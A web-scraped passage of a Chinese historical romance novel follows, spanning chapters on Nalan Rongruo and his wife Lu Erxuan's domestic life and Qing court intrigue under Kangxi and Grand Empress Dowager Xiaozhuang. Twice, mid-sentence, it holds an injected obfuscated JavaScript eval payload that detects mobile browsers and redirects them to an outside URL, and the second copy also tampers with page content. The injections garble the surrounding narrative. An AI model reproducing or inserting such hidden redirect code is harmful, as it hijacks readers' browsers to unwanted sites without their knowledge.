卢氏道:“书籍不常拿出去晾晒,就会生长霉菌和易遭虫食,所以我自作主张,替公子搬书、晒书。” “哦。”瞧着正妻的认真模样,容若知她是在为他着想,他打趣问她,“这些书带着的温度,是我的手留下的暖?还是日光映下的暖?” “我心里是把书当作公子的心血来捂着的,所以感知到的都是公子的灼热。”卢氏下意识地拿起一本古抄本,“这本书和这些书,都是如此。” 容若从卢氏手中拿过书,放回原位,想与她温眸相对。 他对她和缓而温声:“尔谖,别总低着头。” “能嫁给全天下最好的男子,就好像是这一生的福气都提前到来了一样,定会叫全天下的女子嫉妒。”卢氏说出了心里话,“所以,我不敢时常直视公子,公子你……太美好了。” “你很美。” 容若看着卢氏的目光随着自己的目光慢慢上移,直到与自己水平相触。 他珍惜这样的女子:真挚、纯真、坦率;即便是小心翼翼,也是因为心里在乎着一个人,一个比自己更重的人。 之前,容若一度担心:卢氏爱的太深反而让自己觉得重。 有了今日的晒书之事,他对她便多了一重想要呵护的主动性,因为他觉得自己跟卢氏其实有些相似: 一样的喜欢为值得的人付出,甚至是为此去做许多本无需亲自操劳的举动;一样的会把值得的人的兴趣爱好和珍视之物放在心上,千方百计地去为对方创造适宜的环境和扫平既存的阻碍;一样的相互之间会存疑会化解,然后又互通心意、信任如初。 容若记起,有一回自己琢磨《佛经》里的奥义不自觉地入了迷,仿若不知人间事,以至于雪落半肩也浑然不觉。 卢氏发现以后,不是近前出声提醒,也不是直接用手拍雪将夫君惊诧,而是双手捧着一个小暖壶,就站在夫君身侧,慢慢地等待夫君肩上的细雪被小暖壶的余热化去。她安静专注,不打扰任何人。 那个时候,容若想不出准确的言语来“感谢”或是“夸赞”她,心底唯留感动。 卢氏亦是不求有所“回报”和“宠爱”,只是觉得:心甘情愿能够换来公子一笑,就是冬日最暖的时刻。 容若问她:“尔谖,凛冬捧卷,知佛陀解世渡人的慈悲。你说,究竟是众生承沐了神佛的恩惠,还是神佛将恩惠普施众生?我看经文,亦只是悟得字字句句中的‘我闻’罢了,何来‘如是’?” 卢氏坐在夫君身边,思索小会儿。 她有所感,道:“凡人对佛理悟的深,便愈加难解,倒不如抱着‘赏雪’的心态去看,雪满肩而不知,是为已在凡尘外法海中,舟引而往九霄佳境;雪随炉炭消融,是为尘中物已了尘中事,悄然无痕迹,却是有过世间之模样姿态,不枉此行。所以,众生与神佛其实是不分的,渡化中有得愿,得愿中有渡化,恩惠与所求在轮回里互转,公子你说是吗?” “如是我闻。”容若认为卢氏所言为对,“道理如此,真实无谬。读《佛经》,才知道:人生一世,如雪一场,纷繁如昨,思之往复,不觅而实存。” “古有刘方平香肩落蝶,今有纳兰容若细雪覆肩,皆是好到极致的意境。”卢氏莞尔,“所以尔谖不打破。” “此刻我心中的词境,是尔谖你给的。” “这是公子第六次为我写词,一回一回,我都是数着记着的。” “尔谖,你来研磨,我去寻张自制的笺来,这首为你而作的词,我用小楷来写。” 回到当下,容若才觉自己已经在中庭站立许久。 日光的影子早就移位,唯有卢氏不变,一直相伴相依。 卢氏心善道:“公子先去看袖云妹妹吧!我等会就来。” “好。”容若应道,“一家人,是该多些时间一起说说话。” * 却说容若踏进侧夫人颜氏的房间没多久,天际便有乌云袭来,看着是:夏秋交汇,天公多变,急急地要由晴转雨了。 袖云道:“公子不妨先去正夫人那边帮着捡书回穴砚斋吧?就算是有下人帮着,正夫人也是忙不过来的,毕竟公子的藏书不少。” 容若正要回应,却见明珠走了进来。 惊的他赶忙给阿玛请了安。 “本官觉得你不必折返那一趟。”明珠在丫鬟搬来的凳子上坐下,“卢氏已经是在管家中事的人了,没有理由处理不来那些小事。” 袖云道:“公子跟卢氏姐姐情深,夫妻一同搬书归位、整理回架,也是情理之中的。” “容若。”明珠却是态度强硬,“凡事有先后,你既然方才已经跟卢氏相处了许久,这会儿就应该好好待颜氏。” “是。” 容若看了一眼站在房间外头的壮实家丁,就知道了明珠的用意。 明珠不嫌自己扰了儿子和侧室间的私语时光,只自顾自地说起朝中之事来。 “皇上给索尔图的两个儿子都赏赐了东西。”明珠冷声盘点,“远在施琅的福建水师当中效力的阿尔吉善得了几匹好衣料;在宫里当二等侍卫的格尔芬得了一把名贵的佩刀。” “太皇太后给明府赐了不少东西,就相当于是皇上赐过了。”容若心态尚好,“阿玛不必多有比较。” “你说皇上什么时候收复台岛?”明珠问,“否则国库诸多开销用在水师建设上,岂非耗着没有尽头?” “那得看吴三桂什么时候老死。” 容若改变了之前清军杀敌吴三桂,再献首级给康熙皇帝的想法,几场大战下来,他只觉得吴三桂的下场应是注定如此,不会令尸首落入清军手中。 “你这叫什么话?”明珠严厉,“人活世间,最难料的就是寿命几何。皇上又不是耐得住性子的人,没准什么时候,皇上就不分先后,集中兵力先对付台岛的郑氏集团了。” “皇上一旦打台岛,阿玛您可想好了,索额图的长子若立下军功,那索额图就能当个‘特命钦差大臣’前往台岛谈判,而您得做两手准备:第一是索额图完成皇命,从此四海升平;第二是,索额图败退,皇上让您去当个‘特命招抚大使’直面郑氏……” * 这边明珠父子还在大议未来局势,那边卢氏却是站在渌水池边。 原来,她已经将容若的宝贝书籍都赶在雨落前收归了原处,此刻,她正撑着两把油纸伞独立风雨中,一把遮挡自己头上的天公灵泽,另一把保护着几朵含苞待放的荷花不被摧残凋零。 卢氏深知容若是惜花爱花之人,尤其是:芙蓉(实为:芙蕖/荷花)、白玉兰、明开夜合、鹅黄色水仙花。 所以她不忍心容若的荷花被雨打风吹去。 之前,卢氏是有过担虑的,她怕自己不如别人。 所以在一个可见流萤的静好夜晚,她曾问容若: “我没有官氏云辞格格的见识,没有宛姑娘懂公子心事,没有惠妃娘娘聪慧和心计,不够颜氏侧夫人袖云对公子细腻和体贴,是不是除了对公子温柔陪伴以外,一无是处?” 当时容若格外温柔,是这么回应的: “不是的尔谖,你有你的好。我的意思是,你照着自己的本心来对我好就行了,不必过多为难自己……去迎合我的心思。我喜欢有着真实的一面的你。” 而今,对卢氏而言,不让容若的荷花受到风雨破坏,就是出自本心。 雨水顺着伞檐流下,卢氏对着静立在水面上的荷花花苞微笑:对荷好似对公子,都是需要温情去呵护与捂热的存在。 * 一声惊雷响起。 容若记起卢氏说过,忙完了书籍之事,就会过来袖云这边的,可是她却一直没出现,不由得担心起来。 明珠依旧没有收起话题的意思,容若忍不住道:“阿玛,若非真的牵系到您的官途和纳兰家命运的要事,可否请您准了儿过后再去您的房间共论?” “怎么?”明珠一挑眉,“你不想听?” 容若实话实说:“儿出去看看尔谖,她未按照约定过来,应是遇见了走不开的事情。” “袖云身子重,多陪着袖云才是要紧的。”明珠对卢氏不以为然,“尔谖要是碰见了难事或是在别处处理琐事,应付不来之际自然会有人去给你额娘回话。你不必心心念念,觉得她晚到一阵子就值得亲自去寻。” 袖云识大体,道:“公子待袖云的好,是没有少过的。公子是个诺重之人,请老爷同意公子去找卢氏夫人。” “罢了。”明珠终于妥协,“外头雨大,石路湿滑,还有狂风,容易着凉。容若你自己小心一些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“公子未来之前,我想替公子做个护花之人;公子来了以后,我想做个跟公子一样的‘悟他生’【注1】之人。” “我只想着,《明珠家事》对此会如何记载。书言你我皆痴吗?” “公子呢?是往尔谖的付出去看,还是只道寻常?” “皆不是。”容若说了真心话,“我为这朵并蒂莲高兴罢了,它是在为我们这些尘世之人渡往托生的。” “公子的境界,的确是与众不同。但是尔谖能懂。”卢氏微笑,“花对公子而言,是超越了自然之物的存在;爱花之人在花面前,也已成天地一粟,与花共命运共枯荣。” “尔谖,我未感叹过一句:你的做法得我心,也未对你的一身冷湿关怀备至,你失落吗?怪我吗?” “不怪。”卢氏温婉,“公子如此,我反而心安。太多太重、如寻常人家那般的嘘寒问暖,令人难承,在纳兰家也要不得。莫不如收下公子这份禅理意趣,正好。” 爱妻的心意与己意合,容若心中温温然。 再看眼前并蒂莲,已经在不知不觉间绽放朵瓣,花意与境意合,容若心中更是似过春风。 他给爱妻递了自己的怀中手帕,原本是想让爱妻擦拭脸庞的雨水冷珠的,却不料爱妻竟然用手帕轻沾并蒂莲上的珠露。 他略一怔,反应过来,惊欣道: “尔谖,你是记得‘露水’谐音‘渌水’,曾被廉吏于成龙用来咒我‘易逝’的,你怕我见不得朵瓣上的晶莹,所以这么做。原来我所经历过的点点滴滴,我所过往的悲悲喜喜,一直被你记在心上、试图周全。” “有妻如此,夫复何求?” * 风雨渐小渐停,往回走的路上。 容若问她:“尔谖,淋雨许久,你冷吗?” 卢氏往掌心哈了一口气,“嗯,有点。” 容若握过她的手,合掌而暖,关切道:“我交待小厨房去熬姜茶,饮过能解。” “你像我一样执着,罕见的执着。”这是容若夸卢氏的方式,“认定要做一件事,就什么都不顾。” “尔谖做的……只是小事。”卢氏却是自知,“撑伞挡荷雨,阿玛和额娘应是不计的。” “阿玛和额娘不计,我计就好了。”容若一边说服一边安慰,“越是细微的付出和坚守,越能让察觉到的人心生暖意,池中的并蒂莲,定会记得你感谢你。” 卢氏忽然把精神一振,元气道:“公子,我不会着凉和感染风寒的,不然就是我没用。” “你说这个做什么?还是要多顾着自己才好。” 容若对妻子自是疼惜。 “人嘛,各有所长,我纳兰容若的正妻,只要做自己喜欢的事情就好,不管她做的那些事——是否在阿玛和额娘眼里有意义、有利益、有所回报,她做了就是做了,总有打动人之处。” “学管家计之事,尔谖也不会落下。”卢氏只想叫容若放心,“公子教的和叮嘱的,尔谖都会理解着去践行。” “如此,我岂不是‘才女子’和‘当家娘’双得?” 容若对爱妻喜悦且看好。 “公子如何认为我有才华?” 这是卢氏第一次从容若口中听见“才女子”三个字。 所以她的心情,是感动又深沉的—— 之前她在赫舍里皇后身边当女史,日常本就是陪着中宫娘娘温书和讲书,学识肯定不差。只是才华,该被如何定义? 女子者,出入上流圈层和笔写横溢文章算有才华吗? 还是说,智慧与美貌并存,能在关键时刻发挥作用,能为身边人或天下势尽力,才有资格称有才? “那就来检证好了!”容若灵机一动,“尔谖,你想不想效仿李清照和赵明诚,跟我一起赌书泼茶?” “想!”卢氏万分愿意,这个机会无论几次,都不嫌多,“且我与公子之间,要彼此有逸趣、有情怀、有笑声,分出胜负来才好。” “好。”容若向爱妻一点头,“就定在后日上午,于我搜集资料编写《经解》的通志堂之中,如何?” “一言为定。” 【注1】出自悼念纳兰性德的诗句:佛说楞伽好,早已悟他生。 140.第140章 约定之日。 容若与卢氏怀着盎然的期待,携手而行,去往通志堂。 他不说,她却知道他爱喝碧螺春,所以茶饮要备这个。 她不语,他亦明白她善辨词曲调,巧融乐理设题最佳。 这正是:夫妻之间的默契无需刻意营造,潜移默化自可心有灵犀。 * 通志堂内,书籍之多,放置之巧,墨香味之重,更胜穴砚斋。 引纳兰香一盏,置君子兰一瓶。 观光影碎映书架,听窗外莺鸣鱼跃之声,何物不欣欣? 纳兰性德诗曰: 无需研墨复捧砚,雕兰文心意境真。 玉手何疑冰脂腻?罗帕销销金蟾盆。 妙供定慧书三千,云缕先参窗侧筝。 万卷灵芬觅芳华,衔词忘我共初忱。 于泥炉茶壶侧添三层果盘一个,放各种小吃: 炭烧腰果、琥珀核桃仁、原味松子仁为一层;藕粉桂花糕、四季如意糕、椰汁奶糕为一层;芙蓉酥、芝麻瓜子酥、蟹粉酥为一层。 容若喜道:“这些点心配茶,正合适。” 卢氏才想说:“公子爱吃的,也是我爱吃的。” 就先一步听见容若道:“本应是赢了的人先挑来食,我不同李清照赵明诚,无论输赢,都让尔谖你先挑。” 卢氏微诧:“那就无别了。” “怎是无别?”容若笑,“尔谖你要是挑了好的让给我先吃,不是等于胜负已分吗?” “公子好是狡猾。”卢氏一瞧夫君心思,“也好是懂得把‘赌书局’转变成‘挑食局’,还是向着自己又不得罪人的。泼茶之时,我看公子如何躲闪,我偏不规规矩矩沏茶了。” “我不闪,就近着你。”容若一别爱妻的刘海,“只是茶温茶凉都罢,可别真洒了热汤,我心疼。” “我不管公子,只管公子的书。”卢氏一转身,“公子的私服上着了茶渍,天下人都夸的。”【注1】 “热汤泼在我心间,我的心是热的。”容若来到爱妻面前,牵起爱妻的手按在他的心脏上,“尔谖,你真不怕烫?” “公子是心疼我的手?”卢氏忍着笑,故意问,“还是怕烧焦了自己的心?” “我自然是喜欢和疼惜你这个人。” 容若拥抱着正妻,贴近着她,“尔谖,我现在感受的特别深,你的珠钗坠子落到我脸上是冷的,但是你的人和你对我的好,却格外深格外暖。” 卢氏这才与夫君停了“泼茶”的小争论。 ——这般深慧深情的容若,自己如何能不爱? ——这般中和了输赢与冷暖的容若,自己愿一辈子珍惜他的才与情。 * 脑中想着考卢氏的章节字句之时,容若忽然笑道:“伴君庙堂与绣口文心,尔谖你喜欢哪一面的我?” “我喜欢‘孤烟落日秋水里,暮蝉声外访五柳’【注2】的公子。” 说着,卢氏就身轻如燕地走向南侧书架,从第三层中取出《王右丞集》,翻开第六十六页,捧在夫君面前,问他:“可对?” “聪明。”容若览书亦揽人,“采菊东篱下的田园生活我虽不能至,但与尔谖一同倚窗看斜阳的静好时光,却是能够时时实现。” “王维看过的:人闲桂花、石上清泉、大漠孤烟、空山雨后、峰前青霭……我都愿意跟夫君你同看。” “那我就与尔谖一起,入王维之美境、同王维之闲情:行到水穷处,坐看云起时。” 卢氏笑道:“既是开局我胜了夫君的心情,就请夫君吃藕粉桂花糕一半,饮清茶一半。” 容若会意:“请夫人择糕点,我斟茶。” 置两小碟藕粉桂花糕于桌上,卢氏看着容若提壶倒茶的模样,道:“不似李清照和赵明诚那般争抢卷与酒,夫君的雅致,我喜欢。” 一回合后。 卢氏出了句偏的:“宋应星的《天工开物》好,涉及方方面面,偏偏是少了夫君擅长的园艺,但也不遗憾。尔谖开窗就见:西子在时,半醒半醉半云妆。不知夫君可得:谁工造物、色空秋月,晏晏远声响之乐?” “夫人是在对我双考。” 说罢,容若笑着走向右边书架,再入深处,踩着凳子往书架的最高处翻。 其中一本,源自宋代知名度不高但是笔出佳句的顾逢,南宋灭亡以后,其隐居山林,人称梅山。顾逢擅长写意境悠然之诗,不与俗世为争,是个风骨高雅之人。 另一本,源自“唐宋八大家”之一的柳宗元,其在散文、哲学和诗歌上有极高成就,又与王维、孟浩然、韦应物并称:王孟韦柳。只可惜柳宗元不得朝廷重用,被贬柳州刺史而终。 容若拿好两册书,正要从凳子上下来。 回头,恰是看见夫人的脸。 卢氏向容若伸出了右手,仰着头,关切道:“夫君小心。” 容若心中感动,嘴上却是嗔她一句:“是夫人的考题难,才叫我登高寻觅。不过,有夫人相牵,我心中豁然更胜翻书。” “夫君精湛功夫,何不趁机反拉尔谖一把。”卢氏亦是嘴上不饶,“尔谖没有防备,定是落入夫君的出其不意之中。” “那要看这张凳子——”容若侧颜翩翩,雅致一问,“站不站得住一双人?” “但求夫君拥抱来,花影隔窗探春梦。” “玉人情重方凳小,相对温眸钗金凤。” “夜来倚荷渌水共,双入春厢罗帐怦。” “红烛贪香灯花外,不眠犹抱月胧朦。” 跟爱妻联完诗句,容若握着爱妻的手跳下,“夫人你说,这回谁赢?” 与容若回到茶桌坐下,卢氏道:“请夫君先解题,再辨胜负。” 容若把刚刚取来的两本书放在茶案上,翻开对应书页。 “夫人知道我不喝酒,就把顾逢的《二色芙蓉花》中的‘酒’字省了。顾诗的原句是:拒霜一树碧丛丛,两色花开迥不同。疑是酒边西子在,半醒半醉立西风。” “正解。请夫君以茶代酒,摇曳琉璃盏生出杏色芙蓉。” “以前我不曾留意柳宗元能写芙蓉,经由夫人今日一考,反而是有所得。柳诗原句是:尝闻色空喻,造物谁为工?留连秋月晏,迢递来山钟。” “无错。请夫君挑一块芙蓉酥,吃罢后,今晚要成词一首。” “夫人,杯中芙蓉和笔下芙蓉,都不及你人如芙蓉。” 容若细细欣赏着卢氏的美。 * “清照以苦茶醒酒,你我以清茶代酒;清照偏爱一池惊鸥藕花,你我流连家中四季开遍之花。所以,你我比清照好,清照跟赵明诚赌书泼茶时的飒爽豪情,当中是夹带着争胜负的功利的,她的性子使然,赢则喜、输则饮。” 容若说罢清照,又道: “你我夫妻是不同的,你我之间的每一问、每一步、每一寻、每一答,都是在为对方着想。你本着夫君的心情出题,我亦本着夫人的心思设问;等到相合作答之时,我们之间又相互珍惜和读懂着彼此的想法,所以,我觉得——” “夫君觉得:容若和尔谖之间的‘赌书泼茶’可称为乐趣,清照和赵明诚之间,只算非要分出胜负来的竞争。” “嗯,夫人说的没错,我正是这么想的。” “争了胜负,时间就快过。”卢氏渐渐通透,“夫君为了留住时间,所以宁愿选择不争不分,是吗?” “是啊。”容若点头,“可以想象:清照被一个‘争’字所误,错失了多少本应沉醉的人生美好?莫不如放下输赢之心,将一切归为日后可道的‘寻常’。” “尔谖觉得,嫁与纳兰容若真好。” 卢氏来到夫君身侧,与夫君同映影子与地面。 “我也是觉得娶了尔谖你,一生值得。” “你我夫妻,在‘赌书’与‘泼茶’之间,经得起‘消得’这一用词。” 容若半开桌面上的纳兰香小香鼎,温然静视。 “赌书消得泼茶香。”卢氏已知容若所想,“原来夫君是想说:赌书泼茶皆是静好时光的享受,有心灯一盏,不灭;有心香一瓣,不沉。” 容若单手抵着嘴唇,半掩微笑:“我们之间的寻常,无须外人知道。” “那——”卢氏询问,“在日后,可以请夫君写下带有这句话的词吗?就当作是自存的、属于你我之间的纪念之作。” “当然是好。”容若毫不犹豫地答应下来,“夫人说词牌名,我一定记着。” “《浣溪沙》。” “好,就用《浣溪沙》。”容若没想到卢氏的答案跟自己想的一样,“这个词牌音律和雅、词句婉丽,适合抒情和记事。” * 后宫之中。 太皇太后小庄在苏麻喇姑的陪同下,来到坤宁宫。 “苏嬷嬷,你说怪不怪,本来我是想来这里想想旧人和旧事的,却不知道为什么——”小庄指向自己的心脏,“我这颗心,却忽然飘回了蒙古。我想科尔沁草原了,想草原上的牛羊和马匹了,甚至是想在草原上初遇的少年郎了。” “老祖宗,岁月不饶人也不饶心啊!”苏麻喇姑扶着孝庄往坤宁宫正殿走,“但奴才相信‘念念不忘,必有回响’的理儿,您的少年郎一直在天上听着您的心声和守护着您呢。” 孝庄只觉得遗憾:“本来进宫以后,骑马的功夫就生疏了,现在年纪大了,更是不能骑马、只能叫上驷院那边挑几只好的小马驹过来看了。” “奴才听说,皇上近来也很是重视上驷院。”苏麻喇姑道,“将里面闲杂人都免职驱逐出宫不说,还想着从德意志那边请来洋人来驯马呢。” 孝庄瞬间清醒:“这怎么能成?皇上喜欢西洋的东西和仪器也就罢了,咱们爱新觉罗家可是马背上得得天下,皇上这么做,八旗亲贵和铁帽子亲王们还不一致站出来反对?” “皇上具体做没做,奴才就不晓得了。”苏麻喇姑问,“老祖宗您要亲自过问这事吗?” “这自然是要问、也要给皇上敲个醒。”孝庄停了停,看着旧日里赫舍里先皇后坐的位置,继续道,“否则皇上操之过急,莫说上驷院不敢照办,就连我这个皇祖母都要担一个教导无方之罪。” “是啊。”苏麻喇姑共感,“赫舍里先皇后要是知道,九泉之下也难安呐。” “走吧,我们去书房见皇上。” “是,老祖宗。” * 孝庄来到书房,果然看见玄烨站在一幅《骏马图》前面,深情一派豪迈。 请安之后,不等孝庄开口询问,玄烨就先一步开口道: “皇阿奶,朕在纳兰性德的词作《菩萨蛮·朔风吹散三更雪》中读到这么一句:塞马一声嘶,残星拂大旗。觉得当真是好!” “皇上是动了请洋人来训练马匹的心思吗?”孝庄问,“别在皇祖母面前说是纳兰词作的引导,你的意思,皇祖母我明白着呢。” “孙儿,孙儿……”玄烨扶了孝庄坐下,“只是觉得洋人有洋人的可取之处,借鉴过来用一用也无妨。” “先不说洋人们的马匹跟咱们大清的马匹体型和习性不同,皇上有没有想过:直接采用洋人驯马师的后果是什么?那是跟大清的祖制过不去,朝堂上只会响起一片反对之声,没谁会认为康熙皇帝有远见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539310|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 玄烨不服也不信:“敢问皇阿奶,朕将欲之举,不叫远见叫什么?” 孝庄冷道:“在亲王贝勒和满朝文武眼里,叫做:忘本。” “就是因为那些保守派固执,朕的练兵强国之道才处处受限。”玄烨不满道,“难道皇阿奶就不与朕一样,觉得有些改革必须进行、有些人必须闭嘴吗?” “皇上着急,岂止是急给亲贵和大臣们看?更是急给天下的百姓看。” 孝庄步步给玄烨讲道理: “可是皇上你想过没有?洋人远道而来,下船到港之后,我大清必定是要派出礼部官员迎接,百姓们要是看到——康熙皇帝不顾一切请了个洋人到上驷院当差,领的还是驯马的职务,他们会怎么想?他们只会说:大清没有人才了吗?皇上手下没有可用之人了吗?” 玄烨一想,倒是忽然想明白了。 “芸芸众生之口不会称颂朕,只会笑话朕;文臣武将之口不会肯定朕,只会失望于朕;吴三桂、郑氏集团和噶尔丹不会惊慑于朕,只会趁机于朕。” “皇上,你要学会拐弯。”孝庄心平气和道,“皇祖母我没有不让你改革上驷院,只是你要从内部选拔人才,不可再动启用洋人的念头。” 玄烨一参合,明白了孝庄所暗示的“拐弯”一词的意思。 “孙儿谢皇阿奶提点。驯马之事非当务之急,只是朕个人的一厢情愿,是朕有失格局,险些犯下留世笑柄。朕会将‘难局’拐弯为‘机遇’,另寻得当的强兵壮马之策。” 孝庄露出了放心的神情。 然后,她对玄烨道:“皇上,方才我去坤宁宫走了一趟,该暗想的和该缅怀的,我心里都有。赫舍里先皇后丧期满后,皇上再行考虑册立新皇后之事吧!” 玄烨只回应道:“朕知道了。” 而未进一步确认:孝庄是否已经有主张、或已经有合适人选。 * 夜间。 沈宛坐着临窗的桌子边拨弄玻璃小弹珠。 “月色如练,应看琉璃;青灯书侧,应对菩提(子)。” 沈宛自语。 总归这两样东西都是容若相赠的: 琉璃小弹珠无暇剔透,只是那当中的不经意而成的五彩线条点缀,无论从哪个角度看,都不尽相似,斑斓吸睛。 实心的多瓣菩提子则是相反,带着淡香,带着静心人的平荡,多为得始终而生。何以得始终?赠者未说,得者自参。 沈宛托腮往月色正浓处看。 广寒若有仙子,此时是否仍抱丹心在碧海?空对云母冷画屏。 桂树侧若有玉兔,是否亏欠金蟾?银河夜夜终不渡,对月捐迷离? “如此月色,应凝在容若眸中。” 沈宛想象着心上人的模样,此时此刻,他应是未睡。 在渌水池边捧一掬月色、在明开夜合树下对足下月影、抑或是与她一样,就这般坐在窗侧染一身月华……公子都是美好的。 沈宛作词一首。 《映江南·定知京华月懊侬》 定知京华月懊侬,花前阶下,空踏云滑,可怜佳人罗袜双。谁堪惜取裙上红豆香?罢却新妆。 红唇半抿,朝起又盼看花时节。认来途旧迹,慵懒忆君篇章。思怀几许?别是细雨一场。琴弦空横,又现苍凉。 * 明府。容若房间。 公子正徐徐展开一画扇,看上面江南好景。 “赌书泼茶”之好,在于夫妻之间的谐好与一致情思,淡淡回味,就可得其中的妙趣: 一颗心,读懂了彼此倾暖的温度,读懂了彼此学识的深度,也读懂了彼此相惜的梯度;一双眸,看到了书页上的文字,也看透了茶盏中的影渍。 原来迎来唇边的一朵笑,甚是简单,只要:光影相衬、流年自得美好。人在流年中,相对不厌,自得笑意。 “宛卿,你可知道?” “知书何必达礼?有情人之间的‘理儿’胜过一切‘规矩礼数’,泼茶茶渍不见脏,敛袖拂衣归卧书房榻,依旧一身清然。谦虚何需敬慎?夫妻之间平凡是真,凭它琐碎事和难为事,越是‘敬’越易相处似宾客,越是‘慎’越陷心事两相猜,莫不如就像今日这般,多些如此的‘寻常’,我就满足。” 容若执扇在手,他想当面对沈宛说: “要是‘赌书消得泼茶香’这句归了卢氏,那么‘栩栩画扇岂见捐’那句就归你。” 容若在画扇上题写《梦江南》一首: 江南好,何处异京华? 香散翠帘多在水,绿残红叶胜于花。无事避风沙。 月色眸凝,容若心中: ——唯盼宛卿安好。 ——唯愿宛卿:玉珰缄札青鸟传,残宵拼得梦依稀。 【注1】容若公子:衣染茶渍人人夸。见第60章。 【注2】化用唐王维诗句。 【注3】 赌书泼茶“考题”相关的人物传记,可移步念酱专栏康康预收文: --------- 1、《红豆相思录·王维传》 大唐最强女猎头玉真公主x不甘做猎物的第一才子王维 仗剑天涯浪漫诗仙李白VS 大唐第一奇葩桃花潭县令汪伦 大唐顶呱呱中介+小偷+反贼+跑腿+搞笑选手·安禄山传 ---------- 2、《入藕花深处·李清照传》 讲述清照一生,看她在命运分歧点上,如何抉择爱与恨 ---------- 【感兴趣的话,请小天使们点点收藏哦~】 141.第141章 一日,孝庄正站在宫中投喂瓷缸里的数条小金鱼。 掌事大太监李福连来见,说是有要事要给太皇太后回话。 “太皇太后,皇太子如今是给了荣妃娘娘抚养,但是奴才早上过去给各宫的主子们分发您赏赐的秋饼的恩典的时候,不巧听见原本不该听到的话。” 孝庄道:“听到了什么话,照实说就是。” “奴才就在钟粹宫外头,听的真真的,荣妃娘娘说:‘本宫视皇太子为亲子。’ ” 见孝庄神色有变,苏麻喇姑立刻接过鱼饲料搁在一边,扶了孝庄坐回软榻上。 李公公继续道:“太皇太后,那句话的意思……奴才怎么听着像是:荣妃娘娘没有皇太子当主子,而是以皇额娘自居?” 孝庄冷着脸,不言语。 苏麻喇姑代为确问:“荣妃娘娘真是这么说的?” 李公公点头:“是,奴才没有听错。” 苏麻喇姑看向孝庄,意思是:这日后皇太子要是没了规矩,叫荣妃娘娘皇额娘而不是母妃,怕是后宫不知道要生出什么是非来呢。 孝庄自然是知道苏嬷嬷和李公公在担心什么,作为老祖宗,她定是不能让后宫的妃子如此口不择言的。 “李公公,你去把荣妃和各宫的主子都叫到慈宁宫来。” “奴才这就去办。” 李福连走后,孝庄揉了揉太阳穴,道:“苏嬷嬷,我现在想来,还是明珠开明,不让容若的正妻卢氏去代养侧室颜氏即将要生产的孩子。你看看咱们皇上的后宫,要是位分高的嫔妃们人人都对荣妃有样学样,那以后谁是额娘、谁是母妃,还要不要分了?” “老祖宗说的是。”苏麻喇姑捶着孝庄的肩,“后宫的亲母与养母的规矩,还是要老祖宗教导着的。” * 众妃子来到慈宁宫的正殿坐下以后,孝庄也免了那些繁杂的礼数,只开门见山地对她们说起正事来。 “荣妃,你抚养胤礽的尽心和苦劳,老祖宗我都是看在眼里的。”孝庄先扬后抑,“但是今儿有人听见:你没有把皇太子当成主子,而是把自己跟先皇后并论。” 孝庄一抬眉,“你可知道,自己的某些话要是传进了皇上的耳朵里,就是对先皇后大不敬的废黜大罪。” 荣妃立刻起身跪地,请罪道:“臣妾知道皇上与先皇后情深,绝对没有僭越皇太子的亲额娘的称谓的非分之想。请太皇太后明鉴。” “这事只是有人回了我,也那就罢了。”孝庄看着马佳氏,“换做是回了皇上,莫说是皇太子的抚养权不再归你,怕是这钟粹宫你也没资格住了。” 一想到自己可能会被削除位分或是贬为庶人,更甚者,便是被剥夺一切安排到先皇后的寝陵处去守陵,荣妃禁不住浑身一颤。 德嫔不知道哪来的勇气,站出来替荣妃说了话。 “臣妾以为,荣妃姐姐只是无心之说,若是有心之人便要用此来大做文章,那只能用挑拨是非来论。荣妃姐姐只是爱子心切,才说了类似娘亲的话罢了。” “德嫔娘娘,‘爱子心切’四个字可不能随便说。”李公公慢声细气道,“皇太子怎么说都是万岁爷的儿子和太皇太后的重孙,是不能当成嫔妃的‘骨肉’来称的。” 有了李公公这话,惠妃一下子就明白了谁是始作俑者。 只是她保持沉默,不想揭穿谁也不想袒护谁,就这么冷静地瞧着一切。 孝庄威懿道:“胤礽的生母只有一个,那就是先皇后赫舍里。后宫之中,不止是荣妃,在坐的你们都是胤礽的母妃。胤礽虽小,但是按照尊卑,他也是你们的主子,他日后成长,你们见了他也是要行礼的。” “太皇太后圣明。” 在李公公的话音中,众嫔妃一并向孝庄做了回应:“臣妾等遵太皇太后教诲。” “荣妃,今日我虽是拿你来开了一个例,以训示后宫诸妃之中,谁都不可动拉拢皇太子的心思,但是你自己要记得:此后要三思而言,言之有度。” 荣妃诚恳道:“臣妾恭领太皇太后训诫,再不敢说错话了。” “这次就小惩大诫,罚了你的月例银子算完,不再做其他处分。”说着,孝庄又补充道,“我看胤礽是个有孝心的孩子,将来一定会念着后宫中每一位母妃的恩惠。” “臣妾谢太皇太后开恩。”荣妃仍旧是悬着一颗心,“今日得太皇太后教导,字字句句牢记在心。” “起来吧!”孝庄扬手,“这事在后宫之中就到此为止,往后谁也不可多议。” 接下来,孝庄又听其她嫔妃聊了些别的事情,才说乏累,叫大家都散了。 苏嬷嬷送众嫔妃离开慈宁宫,只留下一句话:“老祖宗耳聪目明,皇上顾不上的事情,各宫主子都要自己问心无愧才是。” 惠妃一字不提自己的那日所见:德嫔与侍卫隆科多私会在花园假山后。 德嫔还是寻常模样,跟位分比自己高的惠妃、荣妃和宜妃行了礼之后,就自称回宫去了。 “私会之事”过后,惠妃没有叫人去打听和追查,一来是怕引起误会,二来是事情一旦发酵,对谁都没好处。 * 惠妃就这么走在回延禧宫的路上。 荣妃快步上来,请了惠妃到小亭台处坐下说话。 惠妃宽明道:“妹妹的心思本宫最清楚,肯定是全部心血都愿意无条件花在皇太子身上的。妹妹并非是想后来者居上,以‘皇额娘’三个字自称,只是太爱皇太子了,才不慎闪失了言语罢了。” 